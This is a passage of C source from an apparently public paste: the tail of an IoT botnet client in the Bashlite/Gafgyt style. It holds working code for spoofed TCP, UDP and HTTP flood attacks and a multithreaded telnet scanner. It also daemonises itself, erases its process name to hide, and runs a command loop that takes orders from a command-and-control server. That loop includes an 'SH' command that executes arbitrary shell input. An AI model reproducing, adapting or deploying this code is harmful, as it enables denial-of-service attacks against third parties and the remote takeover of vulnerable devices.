  1425.                         }
  1426.                         pch = strtok(NULL, ",");
  1427.                 }
  1428.         }
  1429.  
  1430.         tcph->window = rand_cmwc();
  1431.         tcph->check = 0;
  1432.         tcph->urg_ptr = 0;
  1433.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1434.         tcph->check = tcpcsum(iph, tcph);
  1435.  
  1436.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1437.  
  1438.         int end = time(NULL) + timeEnd;
  1439.         register unsigned int i = 0;
  1440.         while(1)
  1441.         {
  1442.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1443.  
  1444.                 iph->saddr = htonl( getRandomIP(netmask) );
  1445.                 iph->id = rand_cmwc();
  1446.                 tcph->seq = rand_cmwc();
  1447.                 tcph->source = rand_cmwc();
  1448.                 tcph->check = 0;
  1449.                 tcph->check = tcpcsum(iph, tcph);
  1450.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1451.  
  1452.                 if(i == pollRegister)
  1453.                 {
  1454.                         if(time(NULL) > end) break;
  1455.                         i = 0;
  1456.                         continue;
  1457.                 }
  1458.                 i++;
  1459.         }
  1460. }
  1461.  
  1462. /*
  1463. ╦ ╦╔╦╗╔╦╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1464. ╠═╣ ║  ║ ╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1465. ╩ ╩ ╩  ╩ ╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1466. */            
  1467.                                                    
  1468. void sendHTTP(unsigned char *url, int end_time)
  1469. {
  1470.     int end = time(NULL) + end_time;
  1471.     FILE *pf;
  1472.     char command[80];
  1473.     sprintf(command, "wget -s -U \"\" ");
  1474.     strcat(command, url);
  1475.     strcat(command, " > /dev/null ");
  1476.  
  1477.     pf = popen(command,"r");
  1478.    
  1479.     while(end > time(NULL))
  1480.     {
  1481.         system(command);
  1482.     }
  1483.    
  1484. }
  1485.  
  1486. //   _____  __    ___                _
  1487. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1488. //    / /\/ \// / /     /    \ / _` | | '_ \
  1489. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1490. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1491.  
  1492. void processCmd(int argc, unsigned char *argv[])
  1493. {
  1494.     int x;
  1495.         if(!strcmp(argv[0], "PING"))
  1496.         {
  1497.                 sockprintf(mainCommSock, "PONG!");
  1498.                 return;
  1499.         }
  1500.  
  1501.         if(!strcmp(argv[0], "GETLOCALIP"))
  1502.         {
  1503.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1504.                 return;
  1505.         }
  1506.  
  1507.         if(!strcmp(argv[0], "SCANNER"))
  1508.         {
  1509.                 if(argc != 2)
  1510.                 {
  1511.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1512.                         return;
  1513.                 }
  1514.  
  1515.                 if(!strcmp(argv[1], "OFF"))
  1516.                 {
  1517.                         if(scanPid == 0) return;
  1518.                         kill(scanPid, 9);
  1519.                         scanPid = 0;
  1520.                 }
  1521.  
  1522.                 if(!strcmp(argv[1], "ON"))
  1523.                 {      
  1524.                         int threads = 16;
  1525.                         pthread_t thread[threads];
  1526.                         int i;
  1527.                        
  1528.                         if(scanPid != 0) return;
  1529.                         uint32_t parent;
  1530.                         parent = fork();
  1531.                        
  1532.                         if (parent > 0) { scanPid = parent; return;}
  1533.                         else if(parent == -1) return;
  1534.                        
  1535.                         for(i = 0;i<threads;i++){
  1536.                             pthread_create(&thread, NULL, &TelnetScan, (void *) NULL);
  1537.                         }
  1538.                        
  1539.                         TelnetScan(1);
  1540.                         _exit(0);
  1541.                 }
  1542.         }
  1543.  
  1544.         if(!strcmp(argv[0], "UDP"))
  1545.         {
  1546.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1547.                 {
  1548.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1549.                         return;
  1550.                 }
  1551.  
  1552.                 unsigned char *ip = argv[1];
  1553.                 int port = atoi(argv[2]);
  1554.                 int time = atoi(argv[3]);
  1555.                 int spoofed = atoi(argv[4]);
  1556.                 int packetsize = atoi(argv[5]);
  1557.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1558.  
  1559.                 if(strstr(ip, ",") != NULL)
  1560.                 {
  1561.                         unsigned char *hi = strtok(ip, ",");
  1562.                         while(hi != NULL)
  1563.                         {
  1564.                                 if(!listFork())
  1565.                                 {
  1566.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1567.                                         _exit(0);
  1568.                                 }
  1569.                                 hi = strtok(NULL, ",");
  1570.                         }
  1571.                 } else {
  1572.                         if (listFork()) { return; }
  1573.  
  1574.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1575.                         _exit(0);
  1576.                 }
  1577.         }
  1578.  
  1579.         if(!strcmp(argv[0], "TCP"))
  1580.         {
  1581.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1582.                 {
  1583.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1584.                         return;
  1585.                 }
  1586.  
  1587.                 unsigned char *ip = argv[1];
  1588.                 int port = atoi(argv[2]);
  1589.                 int time = atoi(argv[3]);
  1590.                 int spoofed = atoi(argv[4]);
  1591.                 unsigned char *flags = argv[5];
  1592.  
  1593.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1594.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1595.  
  1596.                 if(strstr(ip, ",") != NULL)
  1597.                 {
  1598.                         unsigned char *hi = strtok(ip, ",");
  1599.                         while(hi != NULL)
  1600.                         {
  1601.                                 if(!listFork())
  1602.                                 {
  1603.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1604.                                         _exit(0);
  1605.                                 }
  1606.                                 hi = strtok(NULL, ",");
  1607.                         }
  1608.                 } else {
  1609.                         if (listFork()) { return; }
  1610.  
  1611.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1612.                         _exit(0);
  1613.                 }
  1614.         }
  1615.        
  1616.        
  1617. if(!strcmp(argv[0], "HTTP"))
  1618. {
  1619.     if(argc < 3 || atoi(argv[2]) < 1)
  1620.     {
  1621.         //sockprintf(mainCommSock, "HTTP <url> <time>");
  1622.         return;
  1623.     }
  1624.    
  1625.     unsigned char *ip = argv[1];
  1626.     int time = atoi(argv[2]);
  1627.    
  1628.     if(strstr(ip, ",") != NULL)
  1629.     {
  1630. //        sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1631.         unsigned char *hi = strtok(ip, ",");
  1632.         while(hi != NULL)
  1633.         {
  1634.             if(!listFork())
  1635.             {
  1636.                 sendHTTP(ip, time);
  1637.                 close(mainCommSock);
  1638.                 _exit(0);
  1639.             }
  1640.             hi = strtok(NULL, ",");
  1641.         }
  1642.         } else {
  1643.         if (listFork()) { return; }
  1644.        
  1645. //        sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1646.         sendHTTP(ip, time);
  1647.         close(mainCommSock);
  1648.        
  1649.         _exit(0);
  1650.     }
  1651. }
  1652.  
  1653.     if(!strcmp(argv[0], "KILLATTK"))
  1654.         {
  1655.                 int killed = 0;
  1656.                 unsigned long i;
  1657.                 for (i = 0; i < numpids; i++) {
  1658.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1659.                                 kill(pids[i], 9);
  1660.                                 killed++;
  1661.                         }
  1662.                 }
  1663.  
  1664.                 if(killed > 0)
  1665.                 {
  1666.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  1667.                 } else {
  1668.                         //sockprintf(mainCommSock, "None Killed.");
  1669.                 }
  1670.         }
  1671.  
  1672.         if(!strcmp(argv[0], "LOLNOGTFO"))
  1673.         {
  1674.                 exit(0);
  1675.         }
  1676. }
  1677.  
  1678. int initConnection()
  1679. {
  1680.         unsigned char server[4096];
  1681.         memset(server, 0, 4096);
  1682.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1683.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1684.         else currentServer++;
  1685.  
  1686.         strcpy(server, commServer[currentServer]);
  1687.         int port = 443;
  1688.         if(strchr(server, ':') != NULL)
  1689.         {
  1690.                 port = atoi(strchr(server, ':') + 1);
  1691.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1692.         }
  1693.  
  1694.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1695.  
  1696.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1697.  
  1698.         return 0;
  1699. }
  1700.  
  1701. int getOurIP()
  1702. {
  1703.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1704.         if(sock == -1) return 0;
  1705.  
  1706.         struct sockaddr_in serv;
  1707.         memset(&serv, 0, sizeof(serv));
  1708.         serv.sin_family = AF_INET;
  1709.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1710.         serv.sin_port = htons(53);
  1711.  
  1712.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1713.         if(err == -1) return 0;
  1714.  
  1715.         struct sockaddr_in name;
  1716.         socklen_t namelen = sizeof(name);
  1717.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1718.         if(err == -1) return 0;
  1719.  
  1720.         ourIP.s_addr = name.sin_addr.s_addr;
  1721.  
  1722.         int cmdline = open("/proc/net/route", O_RDONLY);
  1723.         char linebuf[4096];
  1724.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  1725.         {
  1726.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  1727.                 {
  1728.                         unsigned char *pos = linebuf;
  1729.                         while(*pos != '\t') pos++;
  1730.                         *pos = 0;
  1731.                         break;
  1732.                 }
  1733.                 memset(linebuf, 0, 4096);
  1734.         }
  1735.         close(cmdline);
  1736.  
  1737.         if(*linebuf)
  1738.         {
  1739.                 int i;
  1740.                 struct ifreq ifr;
  1741.                 strcpy(ifr.ifr_name, linebuf);
  1742.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  1743.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1744.         }
  1745.  
  1746.         close(sock);
  1747. }
  1748.  
  1749. char *getBuild()
  1750. {
  1751.     #ifdef MIPS_BUILD
  1752.     return "MIPS";
  1753.     #elif MIPSEL_BUILD
  1754.     return "MIPSEL";
  1755.     #elif X86_BUILD
  1756.     return "X86";
  1757.     #elif ARM_BUILD
  1758.     return "ARM";
  1759.     #elif PPC_BUILD
  1760.     return "POWERPC";
  1761.     #else
  1762.     return "ZEKROM";
  1763.     #endif
  1764. }
  1765.  
  1766. int main(int argc, unsigned char *argv[])
  1767. {
  1768.         char *mynameis = "";
  1769.         if(SERVER_LIST_SIZE <= 0) return 0;
  1770.         printf("BUILD %s\n", getBuild());
  1771.         strncpy(argv[0],"",strlen(argv[0]));
  1772.         argv[0] = "";
  1773.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1774.         srand(time(NULL) ^ getpid());
  1775.         init_rand(time(NULL) ^ getpid());
  1776.         pid_t pid1;
  1777.         pid_t pid2;
  1778.         int status;
  1779.  
  1780.         getOurIP();
  1781.  
  1782.         if (pid1 = fork()) {
  1783.                         waitpid(pid1, &status, 0);
  1784.                         exit(0);
  1785.         } else if (!pid1) {
  1786.                         if (pid2 = fork()) {
  1787.                                         exit(0);
  1788.                         } else if (!pid2) {
  1789.                         } else {
  1790.                                         //zprintf("fork failed\n");
  1791.                         }
  1792.         } else {
  1793.                         //zprintf("fork failed\n");
  1794.         }
  1795.  
  1796.         setsid();
  1797.         chdir("/");
  1798.  
  1799.         signal(SIGPIPE, SIG_IGN);
  1800.  
  1801.         while(1)
  1802.         {
  1803.                 if(initConnection()) { sleep(5); continue; }
  1804.  
  1805.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1806.  
  1807.                 char commBuf[4096];
  1808.                 int got = 0;
  1809.                 int i = 0;
  1810.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1811.                 {
  1812.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1813.                                 unsigned int *newpids, on;
  1814.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1815.                                 pids[on - 1] = 0;
  1816.                                 numpids--;
  1817.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1818.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1819.                                 free(pids);
  1820.                                 pids = newpids;
  1821.                         }
  1822.  
  1823.                         commBuf[got] = 0x00;
  1824.  
  1825.                         trim(commBuf);
  1826.  
  1827.                         if(strstr(commBuf, "PING") == commBuf)
  1828.                         {
  1829.                                 sockprintf(mainCommSock, "PONG");
  1830.                                 continue;
  1831.                         }
  1832.  
  1833.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1834.  
  1835.                         unsigned char *message = commBuf;
  1836.  
  1837.                         if(*message == '!')
  1838.                         {
  1839.                                 unsigned char *nickMask = message + 1;
  1840.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1841.                                 if(*nickMask == 0x00) continue;
  1842.                                 *(nickMask) = 0x00;
  1843.                                 nickMask = message + 1;
  1844.  
  1845.                                 message = message + strlen(nickMask) + 2;
  1846.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1847.  
  1848.                                 unsigned char *command = message;
  1849.                                 while(*message != ' ' && *message != 0x00) message++;
  1850.                                 *message = 0x00;
  1851.                                 message++;
  1852.  
  1853.                                 unsigned char *tmpcommand = command;
  1854.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1855.  
  1856.                                 if(strcmp(command, "SH") == 0)
  1857.                                 {
  1858.                                         unsigned char buf[1024];
  1859.                                         int command;
  1860.                                         if (listFork()) continue;
  1861.                                         memset(buf, 0, 1024);
  1862.                                         szprintf(buf, "%s 2>&1", message);
  1863.                                         command = fdpopen(buf, "r");
  1864.                                         while(fdgets(buf, 1024, command) != NULL)
  1865.                                         {
  1866.                                                 trim(buf);
  1867. //                                                sockprintf(mainCommSock, "%s", buf);
  1868.                                                 memset(buf, 0, 1024);
  1869.                                                 sleep(1);
  1870.                                         }
  1871.                                         fdpclose(command);
  1872.                                         exit(0);
  1873.                                 }
  1874.  
  1875.                                 unsigned char *params[10];
  1876.                                 int paramsCount = 1;
  1877.                                 unsigned char *pch = strtok(message, " ");
  1878.                                 params[0] = command;
  1879.  
  1880.                                 while(pch)
  1881.                                 {
  1882.                                         if(*pch != '\n')
  1883.                                         {
  1884.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1885.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1886.                                                 strcpy(params[paramsCount], pch);
  1887.                                                 paramsCount++;
  1888.                                         }
  1889.                                         pch = strtok(NULL, " ");
  1890.                                 }
  1891.  
  1892.                                 processCmd(paramsCount, params);
  1893.  
  1894.                                 if(paramsCount > 1)
  1895.                                 {
  1896.                                         int q = 1;
  1897.                                         for(q = 1; q < paramsCount; q++)
  1898.                                         {
  1899.                                                 free(params[q]);
  1900.                                         }
  1901.                                 }
  1902.                         }
  1903.                 }
  1904.         }
  1905.  
  1906.         return 0;
  1907. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!